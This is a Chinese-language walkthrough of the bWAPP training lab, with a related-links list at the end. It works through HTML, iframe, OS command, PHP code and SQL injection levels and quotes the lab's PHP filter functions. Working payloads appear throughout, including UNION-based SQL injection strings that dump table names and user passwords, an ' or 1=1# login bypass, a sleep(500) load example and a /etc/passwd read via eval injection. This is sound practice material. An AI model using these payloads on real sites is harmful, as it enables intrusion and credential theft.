网络安全入门篇:bwapp靶场通关(更新ing)
A1 -Injection
HTML Injection - Reflected(GET)
low 级别
low级别意味着没有任何检查输入·<h1>This is a test</h1>·,可以看到可以被完整解析到页面上
输入<meta http-equiv="refresh" content='0; url=https://xxx:xxx/portal.php
medium 级别
进行和low级别相同操作
发现无法注入成功抓包可见cookie值有变化
查看源码app/htmli_get.php
进一步找到xss_check_1,在app/functions_external.php中
可以看出medium级别的检查是先将输入的<>转为html字符实体<和>然后对输入解码这里可以看到bwapp提供了三个例子<script>alert(0)</script>%3Cscript%3Ealert%280%29%3C%2Fscript%3E //这是对<script>alert(0)</script>的一次编码%253Cscript%253Ealert%25280%2529%253C%252Fscript%253E //这是对<script>alert(0)</script>的二次编码不难得出解决办法是输入编码后的代码这里就不放图了
high 级别
运行和medium相同操作,也是无法注入成功,查看代码发现是带有ENT_QUOTES参数的htmlspecialchars()函数,暂时没想到办法
HTML Injection - Reflected(POST)
同GET方式
HTML Injection - Reflected (URL)
low 级别
抓包如图示,将编码部分更改即可
根据源码
也可以更改host
medium 级别
该问题似乎是在 Javascript 中运行的 DOM XSS 中的一个漏洞.它已在最近的浏览器中得到处理。现在的浏览器可以对URL中的<>字符进行编码,从而导致攻击失败.可以在老版本的IE中实现进攻.
high 级别
可以从源码看到再次使用了带有ENT_QUOTES参数的htmlspecialchars()函数,不可绕过.
HTML Injection - Stored (Blog)
low 级别
直接尝试注入,可行
medium&high 级别
尝试注入,发现没有被解析
查看源码 app/htmli_stored.php
function htmli($data){include("connect_i.php");switch($_COOKIE["security_level"]){case "0" :$data = sqli_check_3($link, $data);break;case "1" :$data = sqli_check_3($link, $data);// $data = xss_check_4($data);break;case "2" :$data = sqli_check_3($link, $data);// $data = xss_check_3($data);break;default :$data = sqli_check_3($link, $data);break;}return $data;}
// app/functions_external.phpfunction xss_check_3($data, $encoding = "UTF-8"){// htmlspecialchars - converts special characters to HTML entities // '&' (ampersand) becomes '&'// '"' (double quote) becomes '"' when ENT_NOQUOTES is not set// "'" (single quote) becomes ''' (or ') only when ENT_QUOTES is set// '<' (less than) becomes '<'// '>' (greater than) becomes '>' return htmlspecialchars($data, ENT_QUOTES, $encoding);}
发现最终拦路关卡是 htmlspecialchars(),认输.
iFrame Injection
iframe是可用于在HTML页面中嵌入一些文件(如文档,视频等)的一项技术。对iframe最简单的解释就是“iframe是一个可以在当前页面中显示其它页面内容的技术”
通过利用iframe标签对网站页面进行注入,是利用了HTML标签,实际上就是一个阅读器,可以阅读通过协议加载的活服务器本地的文件、视频等
low 级别
尝试修改参数,成功
medium 级别
尝试low级别相同操作,果然不行
查看代码
function xss($data){switch($_COOKIE["security_level"]){case "0" :$data = no_check($data);break;case "1" :$data = xss_check_4($data);break;case "2" :$data = xss_check_3($data);break;default :$data = no_check($data);break;}return $data;}if($_COOKIE["security_level"] == "1" || $_COOKIE["security_level"] == "2"){?><iframe frameborder="0" src="robots.txt" height="<?php echo xss($_GET["ParamHeight"])?>" width="<?php echo xss($_GET["ParamWidth"])?>"></iframe><?php}else{?><iframe frameborder="0" src="<?php echo xss($_GET["ParamUrl"])?>" height="<?php echo xss($_GET["ParamHeight"])?>" width="<?php echo xss($_GET["ParamWidth"])?>"></iframe><?php}function xss_check_4($data){// addslashes - returns a string with backslashes before characters that need to be quoted in database queries etc.// These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).// Do NOT use this for XSS or HTML validations!!!return addslashes($data);}
可以看到检测手法是addslashes()函数,而在iframe标签里,最后面的元素是ParamWidth,所以可以在宽度后附上payload,如图:
high 级别
老样子, htmlspecialchars()函数
LDAP Connection Settings
LDAP Lightweight Directory Access Protocol 轻量级目录访问协议
因为要安装环境,暂时略过
Mail Header Injection (SMTP)
注入原理:
邮件的结构,分为信封(MAIL FROM,RCPT TO),头部(From,To,Subject,CC,BCC等),主体(message),mail header injection,即针对头部的注入.使用telnet对25端口进行手工发邮件的过程的事后会发现,对于邮件头部的字段其实就是换行符0x0A或者0x0D0x0A分割,即\n或\r\n,所以就可以注入了.
由于bwapp邮件服务没设置好,这里也不演示了
OS Command Injection
low 级别
思路就是输入不止一条命令
可以用 ;,可以用 &,也可以用 |
另外,如果没有回显,可能是你的环境不支持nslookup命令
medium 级别
同 low 级别思路,发现只有 | 可以用.
查看代码
可以看到 commandi_check_1()
把 &
和 ;
替换了.
high 级别
escapeshellcmd()
确保用户只执行一个命令
暂时无法注入
OS Command lnjection - Blind
low 级别
没有回显,通过时间盲注
medium 级别
同理,使用管道符即可
PHP Code Injection
low 级别
观察发现请求页面的message参数,尝试使用php函数作为参数
可以获取/etc/passwd文件的信息
猜测是使用了eval
函数且未检查参数
medium&high 级别
上图可见移除了eval
函数,且使用htmlspecialchars
来处理参数
Server-Side Includes (SSI) Injection
SSI是用于向HTML页面提供动态内容的Web应用程序上的指令。 它们与CGI类似,不同之处在于SSI用于在加载当前页面之前或在页面可视化时执行某些操作。 为此,Web服务器在将页面提供给用户之前分析SSI。
SSI基本格式<!-– 指令名称="指令参数">
由于环境不支持,就不演示了
SQL Injection
sql 注入分类
按照注入点类型分类
数字型注入点
字符型注入点
搜索型注入点
按照http传递数据的方式分类
get 注入
post 注入
cookie 注入
http请求头注入
按照执行效果分类
基于报错的注入
布尔类型注入
时间盲注
sql 注入的常见方法
特殊字符
- 比如分号(堆叠注入):
select * from user where id = 1;delete from user
- 比如注释符:
# sleep(500)可对系统资源造成极大耗损select count(*) as num from game_score where game_id = 244 and version = '-1' or 3 and sleep(500)-- 注释掉可能对注入造成干扰的语句/*还有这种注释*/
- 比如单引号:
1' or '1'='1
针对黑名单过滤
sql 语句同义变形体
双写绕过
针对中间链环节如编码
- 宽字节注入(去掉转义符)
存储型注入,针对后端/数据库输入
比如:用户名输入
admin'#
一般步骤
判断是否存在注入,注入是字符型还是整数型
猜解SQL查询语句中的字段数 (order by )
确定显示的字段顺序
获取当前数据库 (爆库)
获取数据库中的表 (爆表)
获取表中的字段名 (爆字段)
下载数据 (爆数据)
bwapp 中的 sql 注入
(GET/Search && GET/Select)
low
payload:
g%' union select 1,database(),3,5,4,6,7 --
注意有个空格或者
' and 1=0 union all select 1,table_name, column_name,4,5,6,7 from information_schema.columns where table_schema='bWAPP'#
medium
又是
addslashes()
函数,此函数的作用是在预定义的字符前加上\
进行转义,预定义字符有
'
,"
,\
,NULL数据库如果是GBK编码可以考虑宽字节注入
high
采用
mysql_real_escape_string()
函数防御,此函数转义sql语句中的特殊字符,没有想到注入方法
(POST/Search & POST/Select)
基本和 GET 方式一样,多了一步抓包
(AJAX/JSON/jQuery)
low
使用 GET 请求方式输入 url 并不能查询到数据,原因是没有经过页面 JS 的交互,
可以看到禁用了 js 后无论输入什么内容都没有回显
于是查看网页源代码
可以看到是从
sqli_10-2.php
获取的 json 数据同样的,抓包也可以抓到:
于是从
sqli_10-2.php
注入接下来和上面一样了
medium&high
同上也是
addslashes()
与mysql_real_escape_string()
防御
(CAPTCHA)
在注入前需要输入验证码,除此之外和上面没有别的区别
(Login Form/Hero)
low
先找注入点
可以 SQL 注入
猜测sql语句为
select * from user where username=' $username 'and password=' $password ';
于是构造payload为:
用户名: ’ or 1=1#
密码: 随义
medium&high
同上也是
addslashes()
与mysql_real_escape_string()
防御
(Login Form/User)
low
和上面一样的方法,发现并不能注入
于是从头再来,先试试
bee'
:看不到 password 的回显
于是多测几次,发现密码无论输入什么,不会对显示有任何影响
后续也尝试了一些方法,也不起作用,只能判断出字段数为9
于是使用sqlmap
成功获得数据库及表名
接下来查看users表的内容
查看用户名密码
medium&high
无法注入
(SQLite)
SQLite介绍
SQLite含有一张内置表“sqlite_master”,表里存储着type、name、tbl_name、rootpage、sql五个字段。
|字段| 记录信息|
|- |-|
|type列 | 项目的类型,如table、index、view、trigger|
|tbl_name| 所从属的表名,如索引所在的表名。对于表来说,该列就是表名本身;|
|name | 项目的名称,如表名、索引名等;|
|rootpage| 项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者NULL|
|sql | 存放着所有表的创建语句,即表的结构。|
low
首先安装php sqlite模块:
apt-get install sqlite3apt-get install php5-sqliteservice apache2 restart
搜索 man,有三个结果,可见为模糊查询
于是尝试注入:
接下来常规操作:
判断字段数:
%' order by 6 --
判断字段顺序:
%' union select 1,2,3,4,5,6 --
- 查表:
%' union select 1,sqlite_version(),name,5,4,6 from sqlite_master --
- 查字段:
%' union select 1,sqlite_version(),sql,5,4,6 from sqlite_master --
- 取值:
%' union select 1,2,login,password,4,6 from users --
- 解密
medium&high
无法注入
Drupal SQL Injection (Drupageddon)
CVE-2014-3704
Drupal 是一款用量庞大的CMS,其7.0~7.31版本中存在一处无需认证的SQL漏洞。通过该漏洞,攻击者可以执行任意SQL语句,插入、修改管理员信息,甚至执行任意代码。
网络安全入门篇:bwapp靶场通关(更新ing)相关推荐
- 猴子都能懂得Git(入门篇汇总版)持续更新中~~~
文章目录 前言 一.Git的基础 1.Git是什么? 2.管理历史记录的数据库 远程数据库和本地数据库 创建数据库 修改记录的提交 工作树和索引 2.安装Git 初期设定 新建数据库 提交文件 pus ...
- b转换成mb php_攻防世界之WEB篇,php反序列化漏洞,网络安全入门篇
预备知识: PHP序列化和反序列化: serialize() //将一个对象转换成一个字符串 unserialize() //将字符串还原成一个对象 通过序列化与反序列化我们可以很方便的在PHP中进行 ...
- Python学习(1)——小甲鱼零基础入门python学习笔记(更新-ing)
001讲 愉快的开始 1. Python的安装 此电脑-->右击-->检查电脑是32位还是64位 第二步:访问官网:http://www.python.org-->Downloads ...
- 适合入门自学服装裁剪滴书(更新ing)
适合入门自学服装裁剪滴书(更新ing) [♣]适合入门自学服装裁剪滴书(更新ing) [♣]适合入门自学服装裁剪滴书(更新ing) 适合入门自学服装裁剪滴书(更新ing) 来自: 裁缝阿普(不为良匠, ...
- [网络安全提高篇] 一〇六.SQL注入之手工注入和SQLMAP入门案例详解
当您阅读到该篇文章时,作者已经将"网络安全自学篇"设置成了收费专栏,首先说声抱歉.感谢这一年来大家的阅读和陪伴,这100篇安全文章记录了自己从菜鸡到菜鸟的成长史,该部分知识也花了很 ...
- [网络安全提高篇] 一〇四.网络渗透靶场Oracle+phpStudy本地搭建万字详解(SQL注入、XSS攻击、文件上传漏洞)
当您阅读到该篇文章时,作者已经将"网络安全自学篇"设置成了收费专栏,首先说声抱歉.感谢这一年来大家的阅读和陪伴,这100篇安全文章记录了自己从菜鸡到菜鸟的成长史,该部分知识也花了很 ...
- vue基础教程总结篇,用最短的时间入门vue.js(持续更新...)
目前,vue已经成为前端工程师必会的框架之一,这里简单总结一下,可以让您快速的入门vue,师傅带进门,修行靠个人,最主要的还是自己多动手,多实践,本专栏会持续更新. 1.vue安装教程及简介 2.vu ...
- Lua快速入门篇(XLua教程)(Yanlz+热更新+xLua+配置+热补丁+第三方库+API+二次开发+常见问题+示例参考)
<Lua热更新> ##<Lua热更新>发布说明: ++++"Lua热更新"开始了,立钻哥哥终于开始此部分的探 ...
- Pikachu靶场通关秘籍(持续更新)
Pikachu靶场通关秘籍(持续更新) 1.暴力破解 1.基于表单的暴力破解 1)观察题目,了解基本内容,确定是基于表单的暴力破解. 2)判断存在暴力破解的可能性,打开Burp准备进行暴力破解,首先设 ...
最新文章
- php在没用xdebug等调试工具的情况下如何让调试内容优雅地展现出来?--php数组格式化...
- 行将消失的烧瓦匠人:“仿古”热潮下迎新生曙光
- codeforces 383D
- python在财务上的应用-Python用于财务工作培训
- 文科生如何理解深度学习?
- 飞畅科技-工业以太网交换机的差异性
- C 和 C++字符串详解
- 洛谷P2016 战略游戏【树形dp】
- 前端python与php_WEB前端、PHP、python这三个学习哪一个比较好?
- Tcl Tutorial 笔记10 · list
- 旧版本ios软件整理
- 网闸可以设置端口映射吗_路由器的外部端口和内部端口映射如何设置?
- file_get_contents获取参数并用file_put_contents保存图片
- java 四舍六入五成双
- Geoserver2.11矢量切片与OL3中的调用展示
- 社交+小游戏方案来袭,全方位提升社交APP的活跃留存
- 案例九:实现输出1~10中非4的倍数的数字。
- 学习编程一年需要花费多少?自学可以成为程序员吗?
- 在Linux下编译VLC-Qt
- java计算机毕业设计家电仓储管理系统源码+mysql数据库+系统+lw文档+部署